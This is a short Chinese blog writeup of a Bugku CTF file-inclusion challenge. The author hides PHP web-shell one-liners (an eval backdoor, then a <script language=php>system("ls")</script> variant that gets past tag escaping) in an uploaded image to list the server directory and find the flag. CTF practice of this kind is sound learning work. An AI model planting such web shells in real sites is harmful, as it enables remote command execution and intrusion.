

bugkuctf 文件包含2 writeup

原创

wuerror 于 2018-08-07 20:38:39 发布 1366 收藏

分类专栏: [ctf](#) 文章标签: [CTF](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/weixin_40871137/article/details/81487923

版权



[ctf](#) 专栏收录该内容

28 篇文章 1 订阅

订阅专栏

首先看网页源代码, 发现

```
1 <!-- upload.php -->
2 <!doctype html>
3 <html>
4 <head>
5     <meta charset="utf-8"/>
```

访问upload.php, 进入上传页面。

要求上传图片, 开始构造一句话图片马。因为初学, 一句话不太熟只知道

```
<?php @eval($_post[a]);?>
```

把这句话加在图片 (改为txt格式) 的最后, 再改回jpg。上传之后访问该图的存储路径, 发现post数据没有反应。显示出来的我的"一句话"语句好像两头被转义了。想了很久不知道怎么办, 主要不会更高级的一句话。后再看别人的wp, 构造一句话为

```
<script language=php>system("ls")</script>
```

上传之后成功过访问图中的txt文件得flag。

```
about hello.php index.php this_is_th3_F14g_154f65sd4g35f4d6f43.txt upload upload.php
```